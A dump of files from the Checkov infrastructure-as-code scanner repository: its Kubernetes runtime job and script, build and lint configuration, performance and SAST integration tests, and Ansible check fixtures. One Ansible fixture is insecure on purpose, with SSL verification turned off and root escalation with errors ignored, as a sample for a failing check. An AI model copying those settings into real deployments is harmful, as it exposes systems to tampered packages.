    "content": "FROM python:3.11-slim\r\n\r\nENV RUN_IN_DOCKER=True\r\n\r\nRUN apt-get update \\\r\n && apt-get install -y --no-install-recommends git curl  \\\r\n && apt-get purge -y --auto-remove -o APT::AutoRemove::RecommendsImportant=false \\\r\n && rm -rf /var/lib/apt/lists/*;\r\n\r\nCOPY kubernetes/requirements.txt /requirements.txt\r\n\r\n# Install checkov\r\nRUN pip install -r /requirements.txt\r\n\r\nRUN curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl \\\r\n    && chmod +x kubectl && mv kubectl /usr/local/bin\r\nRUN groupadd -g 12000 -r checkov && useradd -u 12000 --no-log-init -r -g checkov checkov\r\nRUN mkdir /data && mkdir /app && mkdir /home/checkov\r\nRUN chown checkov:checkov /data /app /home/checkov\r\nRUN curl -L -o /usr/bin/yq https://github.com/mikefarah/yq/releases/download/v4.16.2/yq_linux_amd64 \\\r\n    && chmod +x /usr/bin/yq\r\n\r\nCOPY kubernetes/run_checkov.sh /app\r\nWORKDIR /app\r\nRUN chown checkov:checkov /app/run_checkov.sh && chmod +x /app/run_checkov.sh\r\n\r\nENTRYPOINT [\"/app/run_checkov.sh\"]\r\n"
  },
  {
    "path": "kubernetes/README.md",
    "content": "# Checkov Runtime\n\nCheckov is an infrastructure as code scanning tool which provides static code analysis for \ninfrastructure prior to deploying.  Since Kubernetes resources can be defined as code in runtime, \nCheckov can be used for scanning in runtime.  A caveat to this is that typically checkov reports on the file \nthat is not compliant, but in runtime there is no concept of files. \n\n## Usage\n\nCheckov can be deployed in Kubernetes as a Job to get immediate feedback on the state of resources in your cluster. \n\n```$xslt\nkubectl apply -f https://raw.githubusercontent.com/bridgecrewio/checkov/main/kubernetes/checkov-job.yaml\n```\n\nReview the output of the job.  \n\n```$xslt\nkubectl get jobs -n checkov\nkubectl logs job/checkov -n checkov\n```"
  },
  {
    "path": "kubernetes/checkov-job.yaml",
    "content": "apiVersion: v1\nkind: Namespace\nmetadata:\n  name: checkov\n---\napiVersion: v1\nkind: ServiceAccount\nmetadata:\n  name: checkov\n  namespace: checkov\n---\n### View all resources EXCEPT secrets\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  name: checkov-view\nrules:\n- apiGroups:\n  - \"\"\n  resources:\n  - configmaps\n  - endpoints\n  - persistentvolumeclaims\n  - pods\n  - replicationcontrollers\n  - replicationcontrollers/scale\n  - serviceaccounts\n  - services\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - \"\"\n  resources:\n  - bindings\n  - events\n  - limitranges\n  - namespaces/status\n  - pods/log\n  - pods/status\n  - replicationcontrollers/status\n  - resourcequotas\n  - resourcequotas/status\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - \"\"\n  resources:\n  - namespaces\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - apps\n  resources:\n  - controllerrevisions\n  - daemonsets\n  - deployments\n  - deployments/scale\n  - replicasets\n  - replicasets/scale\n  - statefulsets\n  - statefulsets/scale\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - autoscaling\n  resources:\n  - horizontalpodautoscalers\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - batch\n  resources:\n  - cronjobs\n  - jobs\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - extensions\n  resources:\n  - daemonsets\n  - deployments\n  - deployments/scale\n  - ingresses\n  - networkpolicies\n  - podsecuritypolicies\n  - replicasets\n  - replicasets/scale\n  - replicationcontrollers/scale\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - policy\n  resources:\n  - poddisruptionbudgets\n  - podsecuritypolicies\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - networking.k8s.io\n  resources:\n  - ingresses\n  - networkpolicies\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - metrics.k8s.io\n  resources:\n  - pods\n  - nodes\n  verbs:\n  - get\n  - list\n  - watch\n- apiGroups:\n  - rbac.authorization.k8s.io\n  resources:\n  - rolebindings\n  - roles\n  - clusterrolebindings\n  - clusterroles\n  verbs:\n  - get\n  - list\n  - watch\n---\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: checkov\nsubjects:\n- kind: ServiceAccount\n  name: checkov\n  namespace: checkov\nroleRef:\n  kind: ClusterRole\n  name: checkov-view\n  apiGroup: rbac.authorization.k8s.io\n---\napiVersion: batch/v1\nkind: Job\nmetadata:\n  name: checkov\n  namespace: checkov\n  annotations:\n    checkov.io/skip1: CKV_K8S_22=Checkov requires filesystem write access to dump resource definitions\n    checkov.io/skip2: CKV_K8S_38=Service Account is required for read-only API access\n    checkov.io/skip3: CKV_K8S_14=Preferring latest rules every run - image pull always\n    checkov.io/skip4: CKV_K8S_43=Preferring latest rules every run - image pull always\nspec:\n  template:\n    metadata:\n      annotations:\n        checkov.io/skip1: CKV_K8S_22=Checkov requires filesystem write access to dump resource definitions\n        checkov.io/skip2: CKV_K8S_38=Service Account is required for read-only API access\n        checkov.io/skip3: CKV_K8S_14=Preferring latest rules every run - image pull always\n        checkov.io/skip4: CKV_K8S_43=Preferring latest rules every run - image pull always\n    spec:\n      securityContext:\n        runAsUser: 12000\n        runAsNonRoot: true\n        seccompProfile:\n          type: RuntimeDefault\n      restartPolicy: Never\n      serviceAccountName: checkov\n      containers:\n        - name: checkov\n          image: bridgecrew/checkov-k8s:latest\n          imagePullPolicy: Always\n          resources:\n            requests:\n              memory: \"256Mi\"\n              cpu: \"500m\"\n            limits:\n              memory: \"256Mi\"\n              cpu: \"500m\"\n          securityContext:\n            allowPrivilegeEscalation: false\n            capabilities:\n              drop:\n                - ALL\n\n"
  },
  {
    "path": "kubernetes/requirements.txt",
    "content": "checkov==3.2.510\n"
  },
  {
    "path": "kubernetes/run_checkov.sh",
    "content": "#!/bin/sh\n################################################################################\n# Download all Kubernetes resources and run checkov against them\n################################################################################\n\n# kubectl api-resources --verbs=list --namespaced -o name  | xargs -n1 -I{} bash -c \"kubectl get {} --all-namespaces -oyaml && echo ---\"\nRESOURCES=\"clusterroles\nclusterrolebindings\nconfigmaps\ncronjobs\ndaemonsets\ndeployments\nendpoints\nhorizontalpodautoscalers\ningresses\njobs\nlimitranges\nnetworkpolicies\npoddisruptionbudgets\npods\npodsecuritypolicies\nreplicasets\nreplicationcontrollers\nresourcequotas\nroles\nrolebindings\nserviceaccounts\nservices\nstatefulsets\"\n\nfor resource in $RESOURCES;\ndo\n  kubectl get $resource --all-namespaces -oyaml | yq eval 'del(.items[] | select(.metadata.ownerReferences)) ' -  > /data/runtime.${resource}.yaml\ndone\n\nif [ -f /etc/checkov/apikey ]; then\n  apikey=$(cat /etc/checkov/apikey)\n  if [ -f /etc/checkov/repoid ]; then\n    repoid=$(cat /etc/checkov/repoid)\n  else\n    repoid=\"runtime/unknown\"\n  fi\n\n  checkov -s -d /data --bc-api-key \"$apikey\" --repo-id \"$repoid\" --branch runtime --framework kubernetes \"$@\"\nelse\n  checkov -s -d /data --framework kubernetes \"$@\"\nfi\n\n"
  },
  {
    "path": "mypy.ini",
    "content": "[mypy]\nmypy_path = extra_stubs\n\nfiles = checkov\nexclude = checkov/(cloudformation/checks|terraform/checks)\nstrict = True\ndisallow_subclassing_any = False\nimplicit_reexport = True\nshow_error_codes = True\n\n[mypy-configargparse.*]\nignore_missing_imports = True\n\n[mypy-dpath.*]\nignore_missing_imports = True\n\n[mypy-networkx.*]\nignore_missing_imports = True\n\n[mypy-checkov.*]\nfollow_imports = skip\n\n[mypy-asteval.*]\nignore_missing_imports = True\n\n[mypy-click.*]\nignore_missing_imports = True"
  },
  {
    "path": "performance_tests/__init__.py",
    "content": ""
  },
  {
    "path": "performance_tests/pytest.ini",
    "content": "# Empty pytest conf file to not use pytest-xdist args from root folder pytest configuration\n[pytest]"
  },
  {
    "path": "performance_tests/test_checkov_performance.py",
    "content": "import os\nimport platform\n\nimport pytest\nimport time\n\nfrom checkov.cloudformation.runner import Runner as cfn_runner\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.common.util.banner import banner\nfrom checkov.kubernetes.runner import Runner as k8_runner\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner as tf_runner\n\n# Ensure repo_name is a cloned repository into performance_tests directory.\n# Thresholds are in ms, and are set to the current maximum duration of checkov on the repository\nperformance_configurations = {\n    'terraform': {\n        'repo_name': 'terraform-aws-components',\n        'threshold': {\n            \"Darwin\": 19.0,\n            \"Linux\": 15.0,\n            \"Windows\": 15.0,\n        }\n    },\n    'cloudformation': {\n        'repo_name': 'aws-cloudformation-templates',\n        'threshold': {\n            \"Darwin\": 350.0,\n            \"Linux\": 170.0,\n            \"Windows\": 300.0,\n        }\n    },\n    'kubernetes': {\n        'repo_name': 'kubernetes-yaml-templates',\n        'threshold': {\n            \"Darwin\": 550.0,\n            \"Linux\": 180.0,\n            \"Windows\": 500.0,\n        }\n    }\n}\n\nDEVIATION_PERCENT = 10\nSYSTEM_NAME = platform.system()\n\n\n@pytest.mark.benchmark(\n    group=\"terraform-performance-tests\",\n    disable_gc=True,\n    min_time=0.1,\n    max_time=0.5,\n    min_rounds=10,\n    timer=time.time,\n    warmup=False,\n)\ndef test_terraform_performance(benchmark):\n    repo_name = performance_configurations['terraform']['repo_name']\n    repo_threshold = performance_configurations['terraform']['threshold'][SYSTEM_NAME]\n\n    def run_terraform_scan():\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, repo_name)\n        runner_filter = RunnerFilter()\n        runner_registry = RunnerRegistry(banner, runner_filter, tf_runner())\n        reports = runner_registry.run(root_folder=test_files_dir)\n        assert len(reports) > 0\n\n    benchmark(run_terraform_scan)\n    assert benchmark.stats.stats.mean <= repo_threshold + (DEVIATION_PERCENT / 100.0) * repo_threshold\n\n\n@pytest.mark.benchmark(\n    group=\"cloudformation-performance-tests\",\n    disable_gc=True,\n    min_time=0.1,\n    max_time=0.5,\n    min_rounds=10,\n    timer=time.time,\n    warmup=False\n)\ndef test_cloudformation_performance(benchmark):\n    repo_name = performance_configurations['cloudformation']['repo_name']\n    repo_threshold = performance_configurations['cloudformation']['threshold'][SYSTEM_NAME]\n\n    def run_cloudformation_scan():\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, repo_name)\n        runner_filter = RunnerFilter()\n        runner_registry = RunnerRegistry(banner, runner_filter, cfn_runner())\n        reports = runner_registry.run(root_folder=test_files_dir)\n        assert len(reports) > 0\n\n    benchmark(run_cloudformation_scan)\n    assert benchmark.stats.stats.mean <= repo_threshold + (DEVIATION_PERCENT / 100) * repo_threshold\n\n\n@pytest.mark.benchmark(\n    group=\"kubernetes-performance-tests\",\n    disable_gc=True,\n    min_time=0.1,\n    max_time=0.5,\n    min_rounds=10,\n    timer=time.time,\n    warmup=False\n)\ndef test_k8_performance(benchmark):\n    repo_name = performance_configurations['kubernetes']['repo_name']\n    repo_threshold = performance_configurations['kubernetes']['threshold'][SYSTEM_NAME]\n\n    def run_kubernetes_scan():\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n        test_files_dir = os.path.join(current_dir, repo_name)\n        runner_filter = RunnerFilter()\n        runner_registry = RunnerRegistry(banner, runner_filter, k8_runner())\n        reports = runner_registry.run(root_folder=test_files_dir)\n        assert len(reports) > 0\n    benchmark(run_kubernetes_scan)\n    assert benchmark.stats.stats.mean <= repo_threshold + (DEVIATION_PERCENT / 100) * repo_threshold\n"
  },
  {
    "path": "pyproject.toml",
    "content": "[tool.bandit]\nexclude_dirs = [\n    \"tests\"\n]\n\n[tool.black]\nline-length = 120\n\n[tool.importlinter]\nroot_package = \"checkov\"\nexclude_type_checking_imports = true\n\n[[tool.importlinter.contracts]]\nname = \"common forbidden to import other modules\"\ntype = \"forbidden\"\nsource_modules = [\n    \"checkov.common\",\n]\nforbidden_modules = [\n    \"checkov.ansible\",\n    \"checkov.argo_workflows\",\n    \"checkov.arm\",\n    \"checkov.azure_pipelines\",\n    \"checkov.bicep\",\n    \"checkov.bitbucket\",\n    \"checkov.bitbucket_pipelines\",\n    \"checkov.cdk\",\n    \"checkov.circleci_pipelines\",\n    \"checkov.cloudformation\",\n    \"checkov.dockerfile\",\n    \"checkov.example_runner\",\n    \"checkov.github\",\n    \"checkov.github_actions\",\n    \"checkov.gitlab\",\n    \"checkov.gitlab_ci\",\n    \"checkov.helm\",\n    \"checkov.json_doc\",\n    \"checkov.kubernetes\",\n    \"checkov.kustomize\",\n    \"checkov.openapi\",\n    \"checkov.policies_3d\",\n    \"checkov.sast\",\n    \"checkov.sca_image\",\n    \"checkov.sca_package_2\",\n    \"checkov.secrets\",\n    \"checkov.serverless\",\n    \"checkov.terraform\",\n    \"checkov.terraform_json\",\n    \"checkov.yaml_doc\",\n]\nignore_imports = [\n    \"checkov.common.util.json_utils -> checkov.terraform.modules.module_objects\", # needed for JSON serialization\n\n    \"checkov.common.bridgecrew.integration_features.features.policies_3d_integration -> checkov.policies_3d.*\", # considering what to do\n    \"checkov.common.bridgecrew.integration_features.features.vulnerabilities_integration -> checkov.sast.report\", # considering what to do\n    \"checkov.common.runners.base_post_runner -> checkov.policies_3d.checks_infra.base_check\", # considering what to do\n\n    \"checkov.common.runners.runner_registry -> checkov.terraform.context_parsers.registry\", # move runner_registry to a different place\n    \"checkov.common.runners.runner_registry -> checkov.terraform.tf_parser\", # move runner_registry to a different place\n    \"checkov.common.runners.runner_registry -> checkov.terraform.modules.module_objects\", # Should fix usage of get_enriched_resources\n\n    \"checkov.common.output.report -> checkov.policies_3d.output\", # move to checkov.common.output\n    \"checkov.common.output.report -> checkov.sca_package_2.output\", # move to checkov.common.output\n\n    \"checkov.common.checks_infra.solvers.connections_solvers.connection_exists_solver -> checkov.terraform.graph_builder.graph_components.block_types\", # move to checkov.common.graph.graph_builder.graph_components?\n    \"checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver -> checkov.terraform.graph_builder.graph_components.block_types\", # move to checkov.common.graph.graph_builder.graph_components?\n    \"checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver -> checkov.terraform.graph_builder.graph_components.block_types\", # move to checkov.common.graph.graph_builder.graph_components?\n\n    \"checkov.common.runners.runner_registry -> checkov.sca_image.runner\", # old IR, needs to be removed (argo_workflows, bitbucket_pipelines)\n]\n\n[[tool.importlinter.contracts]]\nname = \"kubernetes forbidden to import its children\"\ntype = \"forbidden\"\nsource_modules = [\n    \"checkov.kubernetes\",\n]\nforbidden_modules = [\n    \"checkov.helm\",\n    \"checkov.kustomize\",\n]\n\n[[tool.importlinter.contracts]]\nname = \"sast forbidden to import its children\"\ntype = \"forbidden\"\nsource_modules = [\n    \"checkov.sast\",\n]\nforbidden_modules = [\n    \"checkov.cdk.runner\",\n]\n\n[[tool.importlinter.contracts]]\nname = \"terraform forbidden to import its children\"\ntype = \"forbidden\"\nsource_modules = [\n    \"checkov.terraform\",\n]\nforbidden_modules = [\n    \"checkov.terraform_json\",\n]\n\n[[tool.importlinter.contracts]]\nname = \"object runners forbidden to import its children\"\ntype = \"forbidden\"\nsource_modules = [\n    \"checkov.json_doc\",\n    \"checkov.yaml_doc\",\n]\nforbidden_modules = [\n    \"checkov.ansible\",\n    \"checkov.argo_workflows\",\n    \"checkov.azure_pipelines\",\n    \"checkov.bitbucket\",\n    \"checkov.bitbucket_pipelines\",\n    \"checkov.circleci_pipelines\",\n    \"checkov.example_runner\",\n    \"checkov.github\",\n    \"checkov.github_actions\",\n    \"checkov.gitlab\",\n    \"checkov.gitlab_ci\",\n    \"checkov.openapi\",\n]\n\n[[tool.importlinter.contracts]]\n# this one is a bit special, because 'bicep' is not a real child of 'arm' but it leverages the checks written for 'arm'\nname = \"bicep forbidden to import arm\"\ntype = \"forbidden\"\nsource_modules = [\n    \"checkov.bicep\",\n]\nforbidden_modules = [\n    \"checkov.arm\",\n]\n\n[tool.pytest.ini_options]\naddopts = \"-n 2 --dist loadfile\"\n\n"
  },
  {
    "path": "sast_integration_tests/__init__.py",
    "content": ""
  },
  {
    "path": "sast_integration_tests/prepare_data.sh",
    "content": "#!/bin/bash\n\nexport SAVE_SAST_REPORT_LOCALLY=TRUE\n\npipenv run checkov -s --framework sast_python -d flask --repo-id cli/flask -o json --output-file-path checkov_report_sast_python.json,\npipenv run checkov -s --framework sast_java -d WebGoat --repo-id cli/webgoat -o json --output-file-path checkov_report_sast_java.json,\npipenv run checkov -s --framework sast_javascript -d axios --repo-id cli/axios -o json --output-file-path checkov_report_sast_javascript.json,\n"
  },
  {
    "path": "sast_integration_tests/run_integration_tests.sh",
    "content": "#!/bin/bash\nset -e\n\n# In order to run this script set the following environment variables:\n# BC_API_URL - your API url.\n# BC_KEY - generate API key via Platform.\n# You can also add the local SAST_ARTIFACT_PATH and LOG_LEVEL.\n\n# You can also set those vars in the set_env_vars() function, and uncomment the call to it.\n\n# The working dir should be the checkov project dir.\n# For example: on /Users/ajbara/dev2/checkov dir run BC_API_URL=https://ws342vj2ze.execute-api.us-west-2.amazonaws.com/v1 BC_KEY=xyz LOG_LEVEL=Info /Users/ajbara/dev2/checkov/sast_integration_tests/run_integration_tests.sh\n\nset_env_vars() {\n  export SAST_ARTIFACT_PATH=\"\"\n  export BC_API_KEY=\"\"\n  export LOG_LEVEL=DEBUG\n  export PRISMA_API_URL=\"https://api0.prismacloud.io\"\n}\n\nset_env_vars_local_sast_report() {\n  export SAVE_SAST_REPORT_LOCALLY=TRUE\n}\n\nprepare_data () {\n  python checkov/main.py -s --framework sast_python -d repositories/flask --repo-id cli/flask -o json > checkov_report_sast_python.json\n  python checkov/main.py -s --framework sast_java -d repositories/WebGoat --repo-id cli/WebGoat -o json > checkov_report_sast_java.json\n  python checkov/main.py -s --framework sast_javascript -d repositories/axios --repo-id cli/axios -o json > checkov_report_sast_javascript.json\n}\n\nclone_repositories () {\n  echo Clone flask - Python repo for SAST;\n  git clone https://github.com/pallets/flask\n  echo Clone WebGoat - Java repo for SAST\n  git clone https://github.com/WebGoat/WebGoat\n  echo Clone axios - JavaScript repo for SAST\n  git clone https://github.com/axios/axios\n}\n\n\ndelete_repositories () {\n  rm -rf repositories\n}\n\ndelete_reports () {\n  rm -r checkov_report*\n}\n\n#set_env_vars\n\nset_env_vars_local_sast_report\n\necho $BC_API_KEY\nif [[ -z \"BC_API_KEY\" ]]; then\n   echo \"BC_API_KEY is missing.\"\n   exit 1\nfi\n\necho $PRISMA_API_URL\nif [[ -z \"PRISMA_API_URL\" ]]; then\n   echo \"PRISMA_API_URL is missing.\"\n   exit 1\nfi\n\n# Create repositories dir\nmkdir repositories\ncd repositories\n\necho \"Cloning repositories\"\nclone_repositories\n\ncd ..\n\nif [ ! -z \"$VIRTUAL_ENV\" ]; then\n  deactivate\nfi\n\n#activate virtual env\nENV_PATH=$(pipenv --venv)\necho $ENV_PATH\nsource $ENV_PATH/bin/activate\n\nworking_dir=$(pwd) # should be the path of local checkov project\nexport PYTHONPATH=\"$working_dir/checkov:$PYTHONPATH\"\n\nprepare_data\n\n#Run integration tests.\necho \"running integration tests\"\npytest sast_integration_tests\n\ndeactivate\n\necho \"Deleting reports and repositories.\"\ndelete_reports\ndelete_repositories\n\n"
  },
  {
    "path": "sast_integration_tests/test_checkov_sast_report.py",
    "content": "import json\nimport os\n\ncurrent_dir = os.path.dirname(os.path.realpath(__file__))\n\n\ndef test_sast_python() -> None:\n    report_path = os.path.join(current_dir, '..', 'checkov_report_sast_python.json')\n    validate_report(os.path.abspath(report_path))\n\n\ndef test_sast_java() -> None:\n    report_path = os.path.join(current_dir, '..', 'checkov_report_sast_java.json')\n    validate_report(os.path.abspath(report_path))\n\n\ndef test_sast_javascript() -> None:\n    report_path = os.path.join(current_dir, '..', 'checkov_report_sast_javascript.json')\n    validate_report(os.path.abspath(report_path))\n\n\ndef test_sast_platform_report_python() -> None:\n    report_path = '/tmp/sast_python_report.json'\n    validate_platform_report(os.path.abspath(report_path), 'python')\n\n\ndef test_sast_platform_report_java() -> None:\n    report_path = '/tmp/sast_java_report.json'\n    validate_platform_report(os.path.abspath(report_path), 'java')\n\n\ndef test_sast_platform_report_javascript() -> None:\n    report_path = '/tmp/sast_javascript_report.json'\n    validate_platform_report(os.path.abspath(report_path), 'javascript')\n\n\ndef validate_report(report_path: str) -> None:\n    with open(report_path) as f:\n        data = f.read()\n        report = json.loads(data)\n        assert report is not None\n        results = report.get(\"results\")\n        assert results is not None\n        passed_checks = results.get(\"passed_checks\")\n        failed_checks = results.get(\"failed_checks\")\n        assert not passed_checks\n        assert failed_checks is not None\n        assert isinstance(failed_checks, list)\n        assert len(failed_checks) > 0\n        summary = report.get(\"summary\")\n        assert summary.get(\"passed\") == 0\n        assert summary.get(\"failed\") > 0\n        assert summary.get(\"policies_errors_count\") == 0\n\n\ndef validate_platform_report(report_path: str, lang: str) -> None:\n    with open(report_path) as f:\n        data = f.read()\n        report = json.loads(data)\n        assert report is not None\n        rule_matches = report.get(\"rule_match\")\n        assert rule_matches is not None\n        for check_id, check in rule_matches.get(lang).items():\n            assert check.get('check_id') == check_id\n            sast_match = check.get('matches')[0]\n            assert sast_match['location']['path'] != \"\"\n            assert sast_match['location']['code_block'] != \"\"\n"
  },
  {
    "path": "setup.py",
    "content": "#!/usr/bin/env python\nimport json\nimport logging\nimport os\nfrom importlib import util\nfrom os import path\nfrom pathlib import Path\n\nfrom setuptools import setup, find_packages\nfrom setuptools.command.build_py import build_py\n\n\nclass PreBuildCommand(build_py):\n    \"\"\"Pre-build command\"\"\"\n\n    def transform_graph_yaml_to_json(self) -> None:\n        \"\"\"Transforms YAML graph checks to JSON and copies them to build/lib\"\"\"\n\n        import yaml  # can't be top-level, because it needs to be first installed via 'setup_requires'\n\n        graph_check_paths = (\"checkov/*/checks/graph_checks\",)\n        build_path = Path(self.build_lib)\n        src_path = Path()\n\n        for graph_check_path in graph_check_paths:\n            for yaml_file in src_path.glob(f\"{graph_check_path}/**/*.yaml\"):\n                json_file = (build_path / yaml_file).with_suffix(\".json\")\n                self.mkpath(str(json_file.parent))\n                json_file.write_text(json.dumps(yaml.safe_load(yaml_file.read_text())))\n\n    def run(self) -> None:\n        self.execute(self.transform_graph_yaml_to_json, ())\n        build_py.run(self)\n\n\n# read the contents of your README file\nthis_directory = path.abspath(path.dirname(__file__))\nwith open(path.join(this_directory, \"README.md\"), encoding=\"utf-8\") as f:\n    long_description = f.read()\n\nlogger = logging.getLogger(__name__)\nspec = util.spec_from_file_location(\n    \"checkov.version\", os.path.join(\"checkov\", \"version.py\")\n)\n# noinspection PyUnresolvedReferences\nmod = util.module_from_spec(spec)\nspec.loader.exec_module(mod)  # type: ignore\nversion = mod.version  # type: ignore\n\nsetup(\n    cmdclass={\n        \"build_py\": PreBuildCommand,\n    },\n    setup_requires=[\n        \"pyyaml\",\n    ],\n    extras_require={\n        \"dev\": [\n            \"pytest<8.0.0\",\n            \"coverage==7.6.1\",\n            \"coverage-badge\",\n            \"GitPython==3.1.41\",\n            \"bandit\",\n            \"jsonschema\",\n        ]\n    },\n    install_requires=[\n        \"bc-python-hcl2==0.4.3\",\n        \"bc-detect-secrets==1.5.47\",\n        \"bc-jsonpath-ng==1.6.1\",\n        \"pycep-parser==0.5.1\",\n        \"tabulate>=0.9.0,<0.10.0\",\n        \"colorama>=0.4.3,<0.5.0\",\n        \"termcolor>=1.1.0,<2.4.0\",\n        \"junit-xml>=1.9,<2.0\",\n        \"dpath==2.1.3\",\n        \"pyyaml<7.0.0,>=6.0.0\",\n        \"boto3==1.35.49\",\n        \"gitpython>=3.1.30,<4.0.0\",\n        \"jmespath>=1.0.0,<2.0.0\",\n        \"tqdm<5.0.0,>=4.65.0\",\n        \"packaging>=23.0,<24.0\",\n        \"cloudsplaining<0.8.0,>=0.7.0\",\n        \"networkx<2.7\",\n        \"dockerfile-parse<3.0.0,>=2.0.0\",\n        \"docker>=6.0.1,<8.0.0\",\n        \"configargparse>=1.5.3,<2.0.0\",\n        \"argcomplete<4.0.0,>=3.0.0\",\n        \"typing-extensions<5.0.0,>=4.5.0\",\n        \"importlib-metadata>=6.0.0,<8.0.0\",\n        \"cachetools>=5.2.0,<6.0.0\",\n        \"cyclonedx-python-lib<8.0.0,>=6.0.0\",\n        \"packageurl-python<0.14.0,>=0.11.1\",\n        \"click<9.0.0,>=8.1.0\",\n        \"aiohttp<4.0.0,>=3.8.0\",\n        \"aiodns<4.0.0,>=3.0.0\",\n        \"aiomultiprocess>=0.9.0,<0.10.0\",\n        \"schema<=0.7.5\",\n        \"jsonschema<5.0.0,>=4.17.0\",\n        \"prettytable<4.0.0,>=3.6.0\",\n        \"charset-normalizer<4.0.0,>=3.1.0\",\n        \"pyston-autoload==2.3.5; python_version < '3.11' and (sys_platform == 'linux' or sys_platform == 'darwin') and platform_machine == 'x86_64' and implementation_name == 'cpython'\",\n        \"pyston==2.3.5; python_version < '3.11' and (sys_platform == 'linux' or sys_platform == 'darwin') and platform_machine == 'x86_64' and implementation_name == 'cpython'\",\n        \"requests<3.0.0,>=2.28.0\",\n        \"yarl<2.0.0,>=1.9.1\",\n        \"spdx-tools>=0.8.0,<0.9.0\",\n        \"license-expression<31.0.0,>=30.1.0\",\n        \"rustworkx>=0.13.0,<1.0.0\",\n        \"pydantic<3.0.0,>=2.0.0\",\n        \"asteval==1.0.6\",\n        \"urllib3>=1.26.20\"\n    ],\n    dependency_links=[],  # keep it empty, needed for pipenv-setup\n    license=\"Apache License 2.0\",\n    name=\"checkov\",\n    version=version,\n    python_requires=\">=3.9\",\n    description=\"Infrastructure as code static analysis\",\n    author=\"bridgecrew\",\n    author_email=\"meet@bridgecrew.io\",\n    url=\"https://github.com/bridgecrewio/checkov\",\n    packages=find_packages(\n        exclude=[\n            \"dogfood_tests*\",\n            \"flake8_plugins*\",\n            \"integration_tests*\",\n            \"performance_tests*\",\n            \"tests*\",\n        ]\n    ),\n    include_package_data=True,\n    package_data={\n        \"checkov\": [\"py.typed\"],\n        \"checkov.common.util.templates\": [\"*.jinja2\"],\n        \"checkov.ansible.checks.graph_checks\": [\"**/*.json\"],\n        \"checkov.arm.checks.graph_checks\": [\"**/*.json\"],\n        \"checkov.bicep.checks.graph_checks\": [\"**/*.json\"],\n        \"checkov.cloudformation.checks.graph_checks\": [\"**/*.json\"],\n        \"checkov.dockerfile.checks.graph_checks\": [\"**/*.json\"],\n        \"checkov.github_actions.checks.graph_checks\": [\"**/*.json\"],\n        \"checkov.kubernetes.checks.graph_checks\": [\"**/*.json\"],\n        \"checkov.terraform.checks.graph_checks\": [\"**/*.json\"],\n        \"checkov.cdk.checks\": [\n            \"python/*.yaml\",\n            \"typescript/*.yaml\",\n        ],\n    },\n    scripts=[\"bin/checkov\", \"bin/checkov.cmd\"],\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    classifiers=[\n        \"Environment :: Console\",\n        \"Intended Audience :: Developers\",\n        \"Intended Audience :: System Administrators\",\n        \"License :: OSI Approved :: Apache Software License\",\n        \"Programming Language :: Python :: 3 :: Only\",\n        \"Programming Language :: Python :: 3.9\",\n        \"Programming Language :: Python :: 3.10\",\n        \"Programming Language :: Python :: 3.11\",\n        \"Programming Language :: Python :: 3.12\",\n        \"Topic :: Security\",\n        \"Topic :: Software Development :: Build Tools\",\n        \"Typing :: Typed\",\n    ],\n)\n"
  },
  {
    "path": "tests/__init__.py",
    "content": ""
  },
  {
    "path": "tests/ansible/__init__.py",
    "content": ""
  },
  {
    "path": "tests/ansible/checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/ansible/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/BlockErrorHandling/expected.yaml",
    "content": "pass:\n  - \"block.Handle the error\"\nfail:\n  - \"block.Install, configure, and start Apache\"\nevaluated_keys:\n  - \"rescue\"\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/BlockErrorHandling/fail.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name: Install, configure, and start Apache\n      block:\n        - name: Install httpd and memcached\n          ansible.builtin.yum:\n            name:\n              - httpd\n              - memcached\n            sslverify: False\n            state: latest\n\n        - name: Apply the foo config template\n          ansible.builtin.template:\n            src: templates/src.j2\n            dest: /etc/foo.conf\n\n        - name: Start service bar and enable it\n          ansible.builtin.service:\n            name: bar\n            state: started\n            enabled: True\n      when: ansible_facts['distribution'] == 'CentOS'\n      become: true\n      become_user: root\n      ignore_errors: true\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/BlockErrorHandling/pass.yaml",
    "content": "---\n- name: Verify tests\n  hosts: all\n  gather_facts: False\n  tasks:\n    - name:  Handle the error\n      block:\n        - name: Print a message\n          ansible.builtin.debug:\n            msg: 'I execute normally'\n\n        - name: Force a failure\n          ansible.builtin.command: /bin/false\n\n        - name: Never print this\n          ansible.builtin.debug:\n            msg: 'I never execute, due to the above task failing, :-('\n      rescue:\n        - name: Print when errors\n          ansible.builtin.debug:\n            msg: 'I caught an error, can do stuff here to fix it, :-)'\n"
  },
  {
    "path": "tests/ansible/checks/graph_checks/resources/DnfDisableGpgCheck/expected.yaml",
